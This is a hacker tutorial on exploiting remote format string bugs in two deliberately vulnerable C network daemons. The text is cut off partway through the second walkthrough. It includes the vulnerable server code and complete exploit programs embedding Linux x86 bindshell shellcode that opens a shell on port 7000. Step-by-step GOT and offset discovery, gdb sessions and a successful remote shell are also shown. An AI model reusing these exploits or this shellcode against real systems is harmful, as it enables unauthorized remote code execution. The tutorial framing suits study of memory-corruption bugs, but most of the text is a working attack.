#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ Exploiting Remote Format String Bugs skew 05.23.05 #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ Table of Contents ================= 1. Introduction 2. What are format string bugs? 3. Namesrv.c 3.1 Wheres the problem? 3.2 Exploitation 3.2.1 Step 1: GOT Address 3.2.2 Step 2: Getting the Offset 3.2.3 Step 3: Writing the Exploit 3.2.4 Step 4: Finding the Return Address 3.2.5 Step 5: Spawning a Shell 4. Slogsrv.c 4.1 Wheres the problem? 4.2 Exploitation 4.2.1 Step 1: GOT Address 4.2.2 Step 2: Getting the Offset 4.2.3 Step 3: Writing the Exploit 4.2.4 Step 4: Finding the Return Address 4.2.5 Step 5: Spawning a Shell 5. Greets 6. Conclusion #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 1. Format string bugs are a modern type of bug found in many pieces software these days, on many different platforms. Linux is about the most exploited platform for the format string bug, probley because of the usually small level of exploitation difficulty and popularity of the operating system, but BSD, Windows, and others have had their share of applications being exploited due to lack of format string security in code the program is built from. This text is aimed at explaining in detail to the reader what format strings and format string bugs are and how to exploit a remote format string bug in an example vulnerable application. If you would like to learn about exploiting format string bugs locally, google for "inurl:*.txt howto exploit local format string" or something. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 2. Format string bugs are flaws in many functions that allow an attacker to take control of a program if it don't specify a format string identifier in the function its using, such as %s or %d. Some format functions are: printf() -> output data sprintf() -> put data into a string snprintf() -> put data into a string with bounds checking vprintf() -> stdarg printf() vsprintf() -> stdarg sprintf() vsnprintf() -> stdarg snprintf() syslog() -> log to system log fprintf() -> output data to stream Some format string identifiers are: %s -> print a string %d -> print a integer %x -> print a hexadecimal %n -> writes # of bytes written %hn -> writes 1/2 # of bytes written For instance, printf() print's out data, with its syntax being printf(identifer, data);. Now, if the programmer chooses no identifier, printf() will output the data in the format its in. The correct example for printf() is: printf("%s", data); But, if the programmer is lazy or don't want to implement a identifer, the programmer can do this: printf(data); Now, if "data" is controlled by he user running the program, its called a format string flaw, because now the user can supply any identifier(s) and data he wants. skew@vortex:~$ cat right.c #include int main(int argc, char *argv[]) { printf("%s\n", argv[1]); return 0; } skew@vortex:~$ gcc -o right right.c skew@vortex:~$ ./right test test skew@vortex:~$ skew@vortex:~$ cat wrong.c #include int main(int argc, char *argv[]) { printf(argv[1]); printf("\n"); return 0; } skew@vortex:~$ gcc -o wrong wrong.c skew@vortex:~$ ./wrong AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x. %x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x%x.%x. %x.%x.%x.%x.%x.%x.%x.%x%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA.bffff844.bffff818.4003ce36.2.bffff844.bffff850.80482c0.0.4000bbe0.40157d74.40016bc0.2.80482c0.0.80482e1.8048384.2.bffff844.80483c0. 80484204000c290.bffff83c.0.2.bffff959.bffff961.0.bffffa8a.bffffa9e.bffffaa5bffffab8.bffffac8.bffffad3.bffffb2d.bffffb7e.bffffb97.bffffba9. bffffbb9.bffffbcf.bffffbd9bffffe0e.bffffe1c.bffffe49.bffffe7a.bffffea5.bffffeb9.bffffef3.bfffff29.bfffff38.bfffff43bfffff4b.bfffff5b. bfffff73.bfffff89.bfffff96.bfffffa3.bfffffae.bfffffd0.bfffffda.010.383fbff.6.1000.11.64.3.8048034.4.205.7.7.40000000.8.0.9.80482c0.b.3e8c. 3e8.d.3e8.e.3e8.f.bffff954.0.00.0.36383669.772f2e00.676e6f72.41414100.78252e41.2e78252e.252e7825.78252e78 skew@vortex:~$ As you can see in the "right" program, everything works fine, but in the "wrong" program, we are able to specify our own identifiers and make the program go through the stack to try and find one. Now, how does this lead to an exploit? We can take advantage of the format string bug to make it go and do just about anything in the stack, heap, .dtors, and etc, which is very handy for exploitation =). #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3. Ok, so we got a program to exploit, namesrv.c. skew@vortex:~$ cat namesrv.c #include #include #include #define BUFFSIZE 1024 #define NAMESIZE 1024 #define BACKLOG 10 #define MESSAGE1 "\nHello, whats your name?\n" #define MESSAGE2 "\nGood luck exploiting this server!\n\n" #define MSG1SIZE 25 #define MSG2SIZE 36 int clientread(int sock) { char buffer[BUFFSIZE], name[NAMESIZE]; memset(buffer, 0, BUFFSIZE); memset(name, 0, NAMESIZE); send(sock, MESSAGE1, MSG1SIZE, 0); read(sock, name, NAMESIZE, 0); snprintf(buffer, BUFFSIZE, name); send(sock, buffer, BUFFSIZE, 0); send(sock, MESSAGE2, MSG2SIZE, 0); close(sock); return 0; } int main(int argc, char *argv[]) { int sockfd, clientfd, size; struct sockaddr_in client, server; size = sizeof(struct sockaddr); if(argc < 2) { printf("\nNamesrv Format String Daemon\n"); printf("\nUsage: %s \n\n", argv[0]); return 0; } if((getuid() != 0) && (atoi(argv[1]) < 1024)) { fprintf(stderr, "\nError: must be root to use port %d.\n\n", atoi(argv[1])); return -1; } if((atoi(argv[1]) <= 0) || (atoi(argv[1]) >= 65536)) { fprintf(stderr, "\nError: port %d not acceptable.\n\n", atoi(argv[1])); return -1; } if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "\nError: socket() failed.\n\n"); return -1; } server.sin_family = AF_INET; server.sin_port = htons(atoi(argv[1])); server.sin_addr.s_addr = INADDR_ANY; if(bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nError: bind(%d) failed.\n\n", atoi(argv[1])); return -1; } if(listen(sockfd, BACKLOG) < 0) { fprintf(stderr, "\nError: listen(%d) failed.\n\n", atoi(argv[1])); return -1; } for(;;) { clientfd = accept(sockfd, (struct sockaddr *)&client, &size); if(clientread(clientfd) == -1) { fprintf(stderr, "\nError: clientread(%s) failed.\n", inet_addr(client.sin_addr.s_addr)); close(clientfd); } } return 0; } skew@vortex:~$ Ok, lets compile and run it and see what happens. skew@vortex:~$ gcc -o namesrv namesrv.c skew@vortex:~$ ./namesrv Namesrv Format String Daemon Usage: ./namesrv skew@vortex:~$ ./namesrv 5000 (Then I open another terminal...) skew@vortex:~$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Hello, whats your name? skew (--> input) skew (--> response) Good luck exploiting this server! Connection closed by foreign host. skew@vortex:~$ Hm, seems like a *normal* server, or is it? #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.1 Can you see where the format string bug is at in namesrv.c? Aha, its "snprintf(buffer, BUFFSIZE, name);". Snprintf() is talking name and putting it into buffer, max BUFFSIZE (1024) bytes, but theres no format specifier. Uh oh. Well, lets test it and see what we can play with. skew@vortex:~$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Hello, whats your name? %x.%x.%x.%x.%x 0.252e7825.78252e78.2e78252e.a0d7825 Good luck exploiting this server! Connection closed by foreign host. skew@vortex:~$ Woah, looks like we are reading addresses from our buffer. In hexadecimal, "%" = 25, "x" = 78, and "." = 2e. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2 Now comes the time for exploitation. We seen namesrv.c is plenty vulnerable, but how do we exploit it? Well, in the next few sub-chapters, I will show you what we need and how. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2.1 First off, we need to find the GOT address so we can write into it, then it will jump to our return address for us. skew@vortex:~$ objdump -R namesrv namesrv: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049e38 R_386_GLOB_DAT __gmon_start__ 08049e3c R_386_COPY stderr 08049df8 R_386_JUMP_SLOT close 08049dfc R_386_JUMP_SLOT fprintf 08049e00 R_386_JUMP_SLOT accept 08049e04 R_386_JUMP_SLOT listen 08049e08 R_386_JUMP_SLOT inet_addr 08049e0c R_386_JUMP_SLOT __libc_start_main 08049e10 R_386_JUMP_SLOT printf 08049e14 R_386_JUMP_SLOT bind 08049e18 R_386_JUMP_SLOT getuid 08049e1c R_386_JUMP_SLOT snprintf --> the function and address we need 08049e20 R_386_JUMP_SLOT atoi 08049e24 R_386_JUMP_SLOT send 08049e28 R_386_JUMP_SLOT htons 08049e2c R_386_JUMP_SLOT memset 08049e30 R_386_JUMP_SLOT socket 08049e34 R_386_JUMP_SLOT read skew@vortex:~$ Ok, so we got 0x08049e1c for the GOT address of snprintf() (THANK GOD FOR GNU :]), great, we will need it for our exploit soon. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2.2 Next, we got to find the offset. skew@vortex:~$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Hello, whats your name? AAAA%1$x --> Is "1" our offset? AAAA0 --> NOPE :[ Good luck exploiting this server! Connection closed by foreign host. skew@vortex:~$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Hello, whats your name? AAAA%2$x --> Is "2" our offset? AAAA41414141 --> YES!!! Good luck exploiting this server! Connection closed by foreign host. skew@vortex:~$ This little trick works so that we can easily see our offset by using the *formula* "%#$x", where # = our tried offset. So, looks like our offset is 2. Again, keep note of this because we will be using it for our exploit *very* soon. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2.3 Well, now its time for an exploit. Ownage Time with badname.c: skew@vortex:~$ cat badname.c #include #include #include #define GOT 0x08049e1c // objdump -R namesrv | grep snprintf #define RET 0x11223344 // testing 1-2-3 #define NOP 0x90 // gotta have NOPS =P #define OFFSET 2 // our offset #define SIZE 1024 // size of buffer char sc[] = /* linux x86 bindshell port 7000 */ "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { char buffer[SIZE], *ip = argv[1]; char *gotaddr[3] = {((char *)GOT + 2), ((char *)GOT),}; // our got address + 2, and then our regular got address int high, low, port = atoi(argv[2]), sock; long retaddr = RET; // our return address struct sockaddr_in target; if(argc < 3) { printf("\nNamesrv Remote Format String Exploit"); printf("\nskew 05.22.05\n"); printf("\nUsage: %s \n\n", argv[0]); return 0; } printf("\nNamesrv Remote Format String Exploit"); printf("\nskew 05.22.05\n"); printf("\nAttacking %s:%d...\n", ip, port); target.sin_family = AF_INET; target.sin_port = htons(port); target.sin_addr.s_addr = inet_addr(ip); sock = socket(AF_INET, SOCK_STREAM, 0); high = (retaddr & 0xffff0000) >> 16; // overwrite 1/2 of address low = (retaddr & 0x0000ffff); // overwrite 2/2 of address high -= 0x8; // yes, 0x8 sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &gotaddr, high, OFFSET, (low - high) - 0x8, OFFSET + 1); // our exploit formula memset(buffer + strlen(buffer), NOP, 256); // gimme some nops, now! sprintf(buffer + strlen(buffer), "%s\r\n", sc); // place our shellcode in there if(connect(sock, (struct sockaddr *)&target, sizeof(target)) < 0) { printf("\nError: connect(%s:%d)\n\n", ip, port); return -1; } send(sock, buffer, SIZE, 0); printf("\nNow \"telnet %s 7000\"!\n\n", ip); return 0; } skew@vortex:~$ Lets test this baby out ;P. skew@vortex:~$ gcc -o badname badname.c skew@vortex:~$ ./badname Namesrv Remote Format String Exploit skew 05.22.05 Usage: ./badname skew@vortex:~$ (Change terminal) skew@vortex:~$ ps -aux | grep namesrv Warning: bad syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html skew 11280 0.0 0.0 1340 272 pts/5 S+ 22:05 0:00 ./namesrv 5000 skew 11288 0.0 0.1 1824 572 pts/7 R+ 22:05 0:00 grep namesrv skew@vortex:~$ gdb p 11280 GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...p: No such file or directory. Attaching to process 11280 Using host libthread_db library "/lib/libthread_db.so.1". Reading symbols from /home/skew/namesrv...done. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 0x400ff276 in accept () from /lib/libc.so.6 (gdb) c Continuing. (Change back terminal) skew@vortex:~$ ./badname 127.0.0.1 5000 Namesrv Remote Format String Exploit skew 05.22.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~$ ./badname 127.0.0.1 5000 Namesrv Remote Format String Exploit skew 05.22.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~$ Btw, yes, I did run it twice, hehe. (Change terminal) Program received signal SIGSEGV, Segmentation fault. 0x11223344 in ?? () (gdb) i r eax 0xbffff4a0 -1073744736 ecx 0xbffff0a0 -1073745760 edx 0x400 1024 ebx 0x40156880 1075144832 esp 0xbffff08c 0xbffff08c ebp 0xbffff8a8 0xbffff8a8 esi 0x40016460 1073833056 edi 0xbffff964 -1073743516 eip 0x11223344 0x11223344 --> RETURN ADDRESS eflags 0x210217 2163223 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) YES! WE DID IT! WE OVERWROTE THE RETURN ADDRESS!!! But that doesn't do us much good without making it point to our shellcode, heh. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2.4 So, lets look for our NOPS because they will supply an good return address we can use to point to the shellcode. (gdb) x/100x $esp 0xbffff08c: 0x08048771 0xbffff4a0 0x00000400 0xbffff0a0 0xbffff09c: 0x00000000 0x08049e1e 0x08049e1c 0x33342e25 0xbffff0ac: 0x25783837 0x6e682432 0x37382e25 0x25783833 0xbffff0bc: 0x6e682433 0x90909090 0x90909090 0x90909090 0xbffff0cc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 1 0xbffff0dc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 2 0xbffff0ec: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 3 0xbffff0fc: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 4 0xbffff10c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 5 0xbffff11c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 6 0xbffff12c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 7 0xbffff13c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 8 0xbffff14c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 9 0xbffff15c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 10 0xbffff16c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 11 0xbffff17c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 12 0xbffff18c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 13 0xbffff19c: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 14 0xbffff1ac: 0x90909090 0x90909090 0x90909090 0x90909090 --> good! 15 0xbffff1bc: 0x90909090 0x5050c031 0x2444c766 0xc6581b02 0xbffff1cc: 0x89022404 0xcd02b0e6 0x74c08580 0x31c03108 0xbffff1dc: 0xcd01b0db 0x016a5080 0xe189026a 0x66b0db31 0xbffff1ec: 0x80cd01b3 0x106ac589 0xe1895056 0x02b366b0 0xbffff1fc: 0x016a80cd 0x31e18955 0xb0db31c0 0xcd04b366 0xbffff20c: 0x50c03180 0xe1895550 0x05b366b0 0xc58980cd (gdb) Wow, 15 good return addresses, but lets pick one thats more toward the middle.. how about 0xbffff12c, at lucky number 7 ;]. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 3.2.5 Ok, this has been great so far. Now all we got to do is use 0xbffff12c for our return address and see if it works. So lets review our changes to the code. #define RET 0x11223344 // testing 1-2-3 --> #define RET 0xbffff12c // debian 3.1 Now lets try our exploit =]. skew@vortex:~$ ./badname 127.0.0.1 5000 Namesrv Remote Format String Exploit skew 05.22.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~$ ./badname 127.0.0.1 5000 Namesrv Remote Format String Exploit skew 05.22.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~$ netstat -antp | grep 7000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 11335/namesrv skew@vortex:~$ telnet localhost 7000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. uname -a;id; Linux vortex 2.4.27-2-k7 #1 Thu Jan 20 11:25:34 JST 2005 i686 GNU/Linux uid=1000(skew) gid=1000(skew) groups=1000(skew),20(dialout),24(cdrom),25(floppy),29(audio),44(video) : command not found exit; Connection closed by foreign host. skew@vortex:~$ Ownage, Ownage, Ownage. Hehe =D. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.1 Lets exploit this next program, again bugged with a format string flaw, but in a different function. skew@vortex:~/Desktop$ cat slogsrv.c #include #include #include #include #define BUFFSIZE 2048 #define BACKLOG 10 #define MESSAGE "\nMessage to syslog? " #define MSGSIZE 20 int clientread(int sock) { char buffer[BUFFSIZE]; memset(buffer, 0, BUFFSIZE); send(sock, MESSAGE, MSGSIZE, 0); read(sock, buffer, BUFFSIZE, 0); syslog(LOG_NOTICE, buffer); close(sock); return 0; } int main(int argc, char *argv[]) { int sockfd, clientfd, size; struct sockaddr_in client, server; size = sizeof(struct sockaddr); if(argc < 2) { printf("\nSlogsrv Format String Daemon\n"); printf("\nUsage: %s \n\n", argv[0]); return 0; } if((getuid() != 0) && (atoi(argv[1]) < 1024)) { fprintf(stderr, "\nError: must be root to use port %d.\n\n", atoi(argv[1])); return -1; } if((atoi(argv[1]) <= 0) || (atoi(argv[1]) >= 65536)) { fprintf(stderr, "\nError: port %d not acceptable.\n\n", atoi(argv[1])); return -1; } if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "\nError: socket() failed.\n\n"); return -1; } server.sin_family = AF_INET; server.sin_port = htons(atoi(argv[1])); server.sin_addr.s_addr = INADDR_ANY; if(bind(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nError: bind(%d) failed.\n\n", atoi(argv[1])); return -1; } if(listen(sockfd, BACKLOG) < 0) { fprintf(stderr, "\nError: listen(%d) failed.\n\n", atoi(argv[1])); return -1; } for(;;) { clientfd = accept(sockfd, (struct sockaddr *)&client, &size); if(clientread(clientfd) == -1) { fprintf(stderr, "\nError: clientread(%s) failed.\n", inet_addr(client.sin_addr.s_addr)); close(clientfd); } } return 0; } skew@vortex:~/Desktop$ #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.1 Wheres the problem in this code? syslog(LOG_NOTICE, buffer); As you can see syslog() is logging the "buffer" without a format identifier, thats a defininate "no-no". skew@vortex:~/Desktop$ gcc -o slogsrv slogsrv.c skew@vortex:~/Desktop$ ./slogsrv Slogsrv Format String Daemon Usage: ./slogsrv skew@vortex:~/Desktop$ ./slogsrv 5000 (Change terminal) skew@vortex:~/Desktop$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Message to syslog? hello dude! Connection closed by foreign host. skew@vortex:~/Desktop$ tail -1 /var/log/user.log May 23 17:14:57 localhost slogsrv: hello dude!^M skew@vortex:~/Desktop$ Well, that seems fine, but lets check and see its *really* vulnerable. skew@vortex:~/Desktop$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Message to syslog? AAAA.%x.%x.%x.%x.%x Connection closed by foreign host. skew@vortex:~/Desktop$ tail -1 /var/log/user.log May 23 17:16:43 localhost slogsrv: AAAA.800.0.41414141.2e78252e.252e7825^M skew@vortex:~/Desktop$ Haha, yep, it sure is. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2 Now starts the exploitation stage, well, steps really. Lets go. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2.1 Again, we need to find the GOT address. skew@vortex:~/Desktop$ objdump -R slogsrv slogsrv: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049d78 R_386_GLOB_DAT __gmon_start__ 08049d7c R_386_COPY stderr 08049d38 R_386_JUMP_SLOT close 08049d3c R_386_JUMP_SLOT fprintf 08049d40 R_386_JUMP_SLOT accept 08049d44 R_386_JUMP_SLOT listen 08049d48 R_386_JUMP_SLOT syslog 08049d4c R_386_JUMP_SLOT inet_addr 08049d50 R_386_JUMP_SLOT __libc_start_main 08049d54 R_386_JUMP_SLOT printf 08049d58 R_386_JUMP_SLOT bind 08049d5c R_386_JUMP_SLOT getuid 08049d60 R_386_JUMP_SLOT atoi 08049d64 R_386_JUMP_SLOT send 08049d68 R_386_JUMP_SLOT htons 08049d6c R_386_JUMP_SLOT memset 08049d70 R_386_JUMP_SLOT socket 08049d74 R_386_JUMP_SLOT read skew@vortex:~/Desktop$ Ok, we found syslog() at 0x08049d48. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2.2 Next we got to find the offset, and yet, it is as simple as finding it in namesrv.c. skew@vortex:~/Desktop$ telnet localhost 5000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. Message to syslog? AAAA.offset=%3$x Connection closed by foreign host. skew@vortex:~/Desktop$ tail -1 /var/log/user.log May 23 17:20:56 localhost slogsrv: AAAA.offset=41414141^M skew@vortex:~/Desktop$ #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2.3 Ok, lets write an exploit for this bug. skew@vortex:~/Desktop$ cat sluged.c #include #include #include #define GOT 0x08049d48 // objdump -R slogsrv | grep syslog #define RET 0x11223344 // testing 1-2-3 #define NOP 0x90 #define OFFSET 3 #define SIZE 2048 char sc[] = /* linux x86 bindshell @ 7000 */ "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { char buffer[SIZE], *ip = argv[1]; char *gotaddr[3] = {((char *)GOT + 2), ((char *)GOT),}; int high, low, port = atoi(argv[2]), sock; long retaddr = RET; struct sockaddr_in target; if(argc < 3) { printf("\nSlogsrv Remote Format String Exploit"); printf("\nskew 05.23.05\n"); printf("\nUsage: %s \n\n", argv[0]); return 0; } printf("\nSlogsrv Remote Format String Exploit"); printf("\nskew 05.23.05\n"); printf("\nAttacking %s:%d...\n", ip, port); target.sin_family = AF_INET; target.sin_port = htons(port); target.sin_addr.s_addr = inet_addr(ip); sock = socket(AF_INET, SOCK_STREAM, 0); high = (retaddr & 0xffff0000) >> 16; low = (retaddr & 0x0000ffff); high -= 0x8; sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &gotaddr, high, OFFSET, (low - high) - 0x8, OFFSET + 1); memset(buffer + strlen(buffer), NOP, 256); sprintf(buffer + strlen(buffer), "%s\r\n", sc); if(connect(sock, (struct sockaddr *)&target, sizeof(target)) < 0) { printf("\nError: connect(%s:%d)\n\n", ip, port); return -1; } send(sock, buffer, SIZE, 0); printf("\nNow \"telnet %s 7000\"!\n\n", ip); return 0; } skew@vortex:~/Desktop$ gcc -o sluged sluged.c skew@vortex:~/Desktop$ ./sluged Slogsrv Remote Format String Exploit skew 05.23.05 Usage: ./sluged skew@vortex:~/Desktop$ (Change terminal) skew@vortex:~$ ps -aux | grep slogsrv Warning: bad syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html skew 12748 0.0 0.0 1472 464 pts/1 S+ 17:14 0:00 ./slogsrv 5000 skew 12807 0.0 0.1 1824 572 pts/6 R+ 17:23 0:00 grep slogsrv skew@vortex:~$ gdb p 12748 GNU gdb 6.3-debian Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-linux"...p: No such file or directory. Attaching to process 12748 Using host libthread_db library "/lib/libthread_db.so.1". Reading symbols from /home/skew/Desktop/slogsrv...done. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 0x400ff276 in accept () from /lib/libc.so.6 (gdb) c Continuing. (Change back terminal) skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000 Slogsrv Remote Format String Exploit skew 05.23.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000 Slogsrv Remote Format String Exploit skew 05.23.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~/Desktop$ (Change terminal) Program received signal SIGSEGV, Segmentation fault. 0x11223344 in ?? () (gdb) i r eax 0xbffff0a0 -1073745760 ecx 0xbffff0a0 -1073745760 edx 0x800 2048 ebx 0x40156880 1075144832 esp 0xbffff08c 0xbffff08c ebp 0xbffff8a8 0xbffff8a8 esi 0x40016460 1073833056 edi 0xbffff964 -1073743516 eip 0x11223344 0x11223344 eflags 0x210217 2163223 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) Great, we overwrote the return address once again. Read on to the next sub-section. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2.4 Ok, lets get our good return address. (gdb) x/100x $esp 0xbffff08c: 